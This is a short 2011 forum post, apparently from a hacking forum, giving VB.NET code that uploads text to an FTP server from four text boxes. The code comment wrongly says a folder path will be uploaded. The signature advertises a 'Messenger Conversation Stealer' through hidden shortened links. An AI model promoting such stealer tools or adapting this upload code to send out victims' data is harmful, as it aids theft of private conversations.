FTP Upload [vb.net] 05-21-2011, 08:54 PM
#1
This is a little tutorial showing how to upload to you FTP Account : your need 4 TextBox and a button
This in what you input in your TextBox1 : ftp://ftp.drivehq.com/Test.txt (Replace Drivehq with your server)
TextBox2 ; your FTP username
TextBox3 : Your FTP PAssword
TextBox4 : Type anythng in that in will show in the Test.txt
Your Question are Welcome
This in what you input in your TextBox1 : ftp://ftp.drivehq.com/Test.txt (Replace Drivehq with your server)
TextBox2 ; your FTP username
TextBox3 : Your FTP PAssword
TextBox4 : Type anythng in that in will show in the Test.txt
Quote: Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim URI As String = TextBox1.Text
Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.FtpWebRequest.Create(URI), System.Net.FtpWebRequest)
request.Credentials = New System.Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim encoding As New System.Text.UTF8Encoding()
Dim file() As Byte = encoding.GetBytes(TextBox4.Text) ' instead of textbox4 you can add your file specific path like this "C:\Program Files\Internet Explorer" This upload the folder
Dim strz As System.IO.Stream = request.GetRequestStream()
strz.Write(file, 0, file.Length)
strz.Close()
strz.Dispose()
End Sub
Your Question are Welcome
[hide][link=http://adf.ly/1mQjP ]Messenger Conversation Stealer[/link][/hide][hide][link=http://adf.ly/1mQpA ](Video on how it work)[/link][/hide]


![[+]](https://sinister.li/images/modern/collapse_collapsed.png)




( Visual Basic . NET ![[Image: iqc4mt.jpg]](http://i39.tinypic.com/iqc4mt.jpg)